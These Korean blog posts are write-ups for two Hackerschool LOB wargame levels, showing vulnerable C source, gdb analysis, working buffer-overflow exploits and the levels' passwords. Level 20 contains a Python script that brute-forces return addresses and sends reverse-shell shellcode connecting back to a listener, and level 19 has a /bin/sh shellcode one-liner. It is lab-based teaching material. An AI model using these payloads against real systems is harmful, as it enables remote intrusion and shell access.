반응형
반응형
반응형


해커스쿨 LOB LEVEL20 [xavius -> death_knight] 풀이


M4ndU




해커스쿨 LOB [xavius -> death_knight] 풀이입니다.


ID | xavius

PW | throw me away

으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: xavius

Password:

[xavius@localhost xavius]$ bash2

[xavius@localhost xavius]$ ls -l

total 20

-rwsr-sr-x    1 death_kn death_kn    14134 Mar 30  2010 death_knight

-rw-r--r--    1 root     root         1409 Mar 30  2010 death_knight.c

[xavius@localhost xavius]$ cat death_knight.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - dark knight

        - remote BOF

*/


#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

#include <string.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <sys/wait.h>

#include <dumpcode.h>


main()

{

        char buffer[40];


        int server_fd, client_fd;

        struct sockaddr_in server_addr;

        struct sockaddr_in client_addr;

        int sin_size;


        if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){

                perror("socket");

                exit(1);

        }


        server_addr.sin_family = AF_INET;

        server_addr.sin_port = htons(6666);

        server_addr.sin_addr.s_addr = INADDR_ANY;

        bzero(&(server_addr.sin_zero), 8);


        if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){

                perror("bind");

                exit(1);

        }


        if(listen(server_fd, 10) == -1){

                perror("listen");

                exit(1);

        }


        while(1) {

                sin_size = sizeof(struct sockaddr_in);

                if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){

                        perror("accept");

                        continue;

                }


                if (!fork()){

                        send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);

                        send(client_fd, "You : ", 6, 0);

                        recv(client_fd, buffer, 256, 0);

                        close(client_fd);

                        break;

                }


                close(client_fd);

                while(waitpid(-1,NULL,WNOHANG) > 0);

        }

        close(server_fd);

}



드디어 LOB 마지막 이네요.


소스를 보니 원격으로 쉘을 따야 하는 것 같네요.



buffer의 위치를 확인하겠습니다.


...

0x8048a02 <main+318>:   add    %esp,16

0x8048a05 <main+321>:   push   0

0x8048a07 <main+323>:   push   0x100

0x8048a0c <main+328>:   lea    %eax,[%ebp-40]

0x8048a0f <main+331>:   push   %eax

0x8048a10 <main+332>:   mov    %eax,DWORD PTR [%ebp-48]

0x8048a13 <main+335>:   push   %eax

0x8048a14 <main+336>:   call   0x804860c <recv>

...


사이에 더미는 없네요. 바로 리턴주소를 덮으면 될 것 같습니다.

포트6666으로 접속하면 되겠네요.

쉘코드는 리버스 쉘코드를 사용합니다.

"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
"\x01\x6a\x02\x89\xe1\xcd\x80\x89"
"\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
IPADDR"\x66\x68"PORT"\x66\x53\xfe"
"\xc3\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"
"\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
"\xc0\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"
"\x80"

IPADDR | 192.168.31.1 (\xc0\xa8\x1f\x01)
PORT | 51000 (\xc7\x38)
로 했습니다.


버퍼의 위치를 정확하게 알 수 없기 때문에 0xbfffffff부터 0xbfff0000까지 브루트포싱을 합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from socket import *
from struct import *
 
 
= lambda x : pack("<L", x)
up = lambda x : unpack("<L", x)[0]
 
IPADDR = "\xc0\xa8\x1f\x01"
PORT = "\xc7\x38"
 
shellcode = (
 
            "\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
            "\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
            "\x01\x6a\x02\x89\xe1\xcd\x80\x89"
            "\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
            +IPADDR+"\x66\x68"+PORT+"\x66\x53\xfe"
            "\xc3\x89\xe1\x6a\x10\x51\x56\x89"
            "\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"
            "\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
            "\xc0\x52\x68\x6e\x2f\x73\x68\x68"
            "\x2f\x2f\x62\x69\x89\xe3\x52\x53"
            "\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"
            "\x80"
)
 
 
for i in range(0xFF0x00-1):
    for j in range(0xFF0x00-1):
        payload="A"*44+chr(j)+chr(i)+"\xff\xbf"+"\x90"*80+shellcode
        print "addr : " + str(hex(up(chr(j)+chr(i)+"\xff\xbf")))
        s=socket(AF_INET, SOCK_STREAM)
        s.connect(("192.168.31.129"6666))
        s.recv(52)
        s.recv(6)
        s.send(payload)
        s.close()
cs


mandu@mandu-VirtualBox:~$ nc -l -p 51000
my-pass

51000포트 열어놓고 명령어를 미리 입력해두었습니다.


mandu@mandu-VirtualBox:~/project/pytest$ python lob20.py 
(생략)
addr : 0xbffffdf1
addr : 0xbffffdf0
addr : 0xbffffdef
addr : 0xbffffdee
(생략)


기다려보면 어느순간 쉘이 연결되서 패스워드가 출력됩니다.


mandu@mandu-VirtualBox:~$ nc -l -p 51000
my-pass
euid = 520
got the life


이 패스워드로 death_knight 계정에 로그인을 하면?

login: death_knight
Password:
[death_knight@localhost death_knight]$ ls -l
total 4
-rw-r-----    1 death_kn death_kn      636 Mar 30  2010 dropped_item.txt
[death_knight@localhost death_knight]$ cat dropped_item.txt

 You're so great! This is a token to the next gate.

                   ,.
                 ,'  `.
               ,' _<>_ `.
             ,'.-'____`-.`.
           ,'_.-''    ``-._`.
         ,','      /\      `.`.
       ,' /.._  O /  \ O  _.,\ `.
     ,'/ /  \ ``-;.--.:-'' /  \ \`.
   ,' : :    \  /\`.,'/\  /    : : `.
  < <>| |   O >(< (  ) >)< O   | |<> >
   `. : :    /  \/,'`.\/  \    ; ; ,'
     `.\ \  /_..-:`--';-.._\  / /,'
       `. \`'   O \  / O   `'/ ,'
         `.`._     \/     _,','
           `..``-.____.-'',,'
             `.`-.____.-','
               `.  <>  ,'
                 `.  ,'
                   `'

(텍스트로 긁어왔더니 찌그러졌습니다..)


몹이 아이템을 드랍했습니다!

다음은 페도라성인가요? 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ


반응형
반응형


해커스쿨 LOB LEVEL19 [nightmare -> xavius] 풀이


M4ndU




해커스쿨 LOB [nightmare -> xavius] 풀이입니다.


ID | nightmare

PW | beg for me

으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: nightmare

Password:

[nightmare@localhost nightmare]$ bash2

[nightmare@localhost nightmare]$ ls -l

total 20

-rwsr-sr-x    1 xavius   xavius      13398 Mar 30  2010 xavius

-rw-r--r--    1 root     root         1019 Mar 30  2010 xavius.c

[nightmare@localhost nightmare]$ cat xavius.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - xavius

        - arg

*/


#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>


main()

{

        char buffer[40];

        char *ret_addr;


        // overflow!

        fgets(buffer, 256, stdin);

        printf("%s\n", buffer);


        if(*(buffer+47) == '\xbf')

        {

                printf("stack retbayed you!\n");

                exit(0);

        }


        if(*(buffer+47) == '\x08')

        {

                printf("binary image retbayed you, too!!\n");

                exit(0);

        }


        // check if the ret_addr is library function or not

        memcpy(&ret_addr, buffer+44, 4);

        while(memcmp(ret_addr, "\x90\x90", 2) != 0)     // end point of function

        {

                if(*ret_addr == '\xc9'){                // leave

                        if(*(ret_addr+1) == '\xc3'){    // ret

                                printf("You cannot use library function!\n");

                                exit(0);

                        }

                }

                ret_addr++;

        }


        // stack destroyer

        memset(buffer, 0, 44);

        memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));


        // LD_* eraser

        // 40 : extra space for memset function

        memset(buffer-3000, 0, 3000-40);

}




스택영역, 텍스트영역을 사용할 수 없고


소스를 보면, 


        // check if the ret_addr is library function or not

        memcpy(&ret_addr, buffer+44, 4);

        while(memcmp(ret_addr, "\x90\x90", 2) != 0)     // end point of function

        {

                if(*ret_addr == '\xc9'){                // leave

                        if(*(ret_addr+1) == '\xc3'){    // ret

                                printf("You cannot use library function!\n");

                                exit(0);

                        }

                }

                ret_addr++;

        }



라이브러리 영역을 필터링 하는 부분인데,
leave와 ret으로 끝나는 것들을 필터링해서 결과적으로 라이브러리 함수를 사용할 수 없게 되어 있습니다.

모든 \x40로 시작하는 주소를 막은 것은 아니죠.


입력받는 부분을 보면, argv을 사용하지 않고 fgets함수를 통해 입력을 받습니다. 아무래도 fgets함수를 사용할때 사용되는 무언가를 이용하라는 것 같습니다.

아마 그 무언가가 stdin 인 것 같습니다.


stdin은 입력값을 임시로 저장하는 임시 버퍼라고 합니다.
이 stdin을 조사해 보아야겠습니다.

[nightmare@localhost nightmare]$ mkdir tmp
[nightmare@localhost nightmare]$ cp xavius tmp/
[nightmare@localhost nightmare]$ cd tmp/
[nightmare@localhost tmp]$ gdb -q xavius
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x8048714 <main>:       push   %ebp
0x8048715 <main+1>:     mov    %ebp,%esp
0x8048717 <main+3>:     sub    %esp,44
0x804871a <main+6>:     mov    %eax,%ds:0x8049a3c
0x804871f <main+11>:    push   %eax
0x8048720 <main+12>:    push   0x100
0x8048725 <main+17>:    lea    %eax,[%ebp-40]
0x8048728 <main+20>:    push   %eax
0x8048729 <main+21>:    call   0x8048408 <fgets>
0x804872e <main+26>:    add    %esp,12
(생략)


main+12 : push %eax | 전달되는 인자인 stdin의 주소가 넘어가네요.

fgets함수의 stdin의 주소를 확인할 수 있는 시점과 종료된 시점인 main+12과 main+26에 breakpoint를 걸어줍니다.
그리고 실행합니다.


(gdb) b *main+12
Breakpoint 1 at 0x8048720
(gdb) b *main+26
Breakpoint 2 at 0x804872e
(gdb) i reg eax
The program has no registers now.
(gdb) r
Starting program: /home/nightmare/tmp/xavius

Breakpoint 1, 0x8048720 in main ()
(gdb) DDDDDDDD
Undefined command: "DDDDDDDD".  Try "help".
(gdb) i reg eax
eax            0x401068c0       1074817216


stdin이 0x40영역에 있네요!


계속 진행해서 위 주소를 확인해봤습니다.

(gdb) c
Continuing.
DDDDDDDD

Breakpoint 2, 0x804872e in main ()
(gdb) x/50x 0x401068c0
0x401068c0 <_IO_2_1_stdin_>:    0xfbad2288      0x40015009      0x40015009     0  x40015000
0x401068d0 <_IO_2_1_stdin_+16>: 0x40015000      0x40015000      0x40015000     0  x40015000
0x401068e0 <_IO_2_1_stdin_+32>: 0x40015400      0x00000000      0x00000000     0  x00000000
0x401068f0 <_IO_2_1_stdin_+48>: 0x00000000      0x00000000      0x00000000     0  x00000000
0x40106900 <_IO_2_1_stdin_+64>: 0xffffffff      0x00000000      0x401068a0     0  xffffffff
0x40106910 <_IO_2_1_stdin_+80>: 0xffffffff      0x00000000      0x00000000     0  x00000000
0x40106920 <_IO_2_1_stdin_+96>: 0x00000000      0x00000000      0x00000000     0  x00000000
0x40106930 <_IO_2_1_stdin_+112>:        0x00000000      0x00000000      0x000000  00      0x00000000
0x40106940 <_IO_2_1_stdin_+128>:        0x00000000      0x00000000      0x000000  00      0x00000000
0x40106950 <_IO_2_1_stdin_+144>:        0x00000000      0x40106820      0x000000  00      0x00000000
0x40106960 <_IO_stdfile_1_lock+8>:      0x00000000      0x00000001      0x000000  00      0x00000000
0x40106970 <_IO_stdfile_1_lock+24>:     0x00000000      0x00000000      0x000000  00      0x00000000
0x40106980 <_IO_2_1_stdout_>:   0xfbad2084      0x00000000
(gdb) x/x 40015009
0x26294a1:      Cannot access memory at address 0x26294a1
(gdb) x/x 0x40015009
0x40015009:     0x00000000
(gdb) x/x 0x40015000
0x40015000:     0x44444444
(gdb) x/4x 0x40015000
0x40015000:     0x44444444      0x44444444      0x0000000a      0x00000000


0x40015000부터 우리가 입력한 값이 들어가 있고
0x40015009에 문자열의 끝을 의미하는 NULL값이 들어가 있는 것을 알 수 있습니다.


프로그램 종료 후에도 이 값이 남아있는지 확인해보겠습니다.

(gdb) b *main+278
Breakpoint 3 at 0x804882a
(gdb) c
Continuing.
DDDDDDDD


Breakpoint 3, 0x804882a in main ()
(gdb) x/4x 0x40015000
0x40015000:     0x44444444      0x44444444      0x0000000a      0x00000000


남아있습니다. 그러면 이 영역에 쉘코드를 넣으면 될 것 같네요.

페이로드를 구성해 보면,

NOP[19]+SHELLCODE[25]+RET(0x40015000)[4]

(python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x00\x50\x01\x40"'; cat) | ./xavius


[nightmare@localhost nightmare]$ (python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x00\x50\x01\x40"'; cat) | ./xavius
릱릱릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?
                                         ?
my-pass
euid = 519
throw me away


성공입니다!! 마지막 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ


반응형

+ Recent posts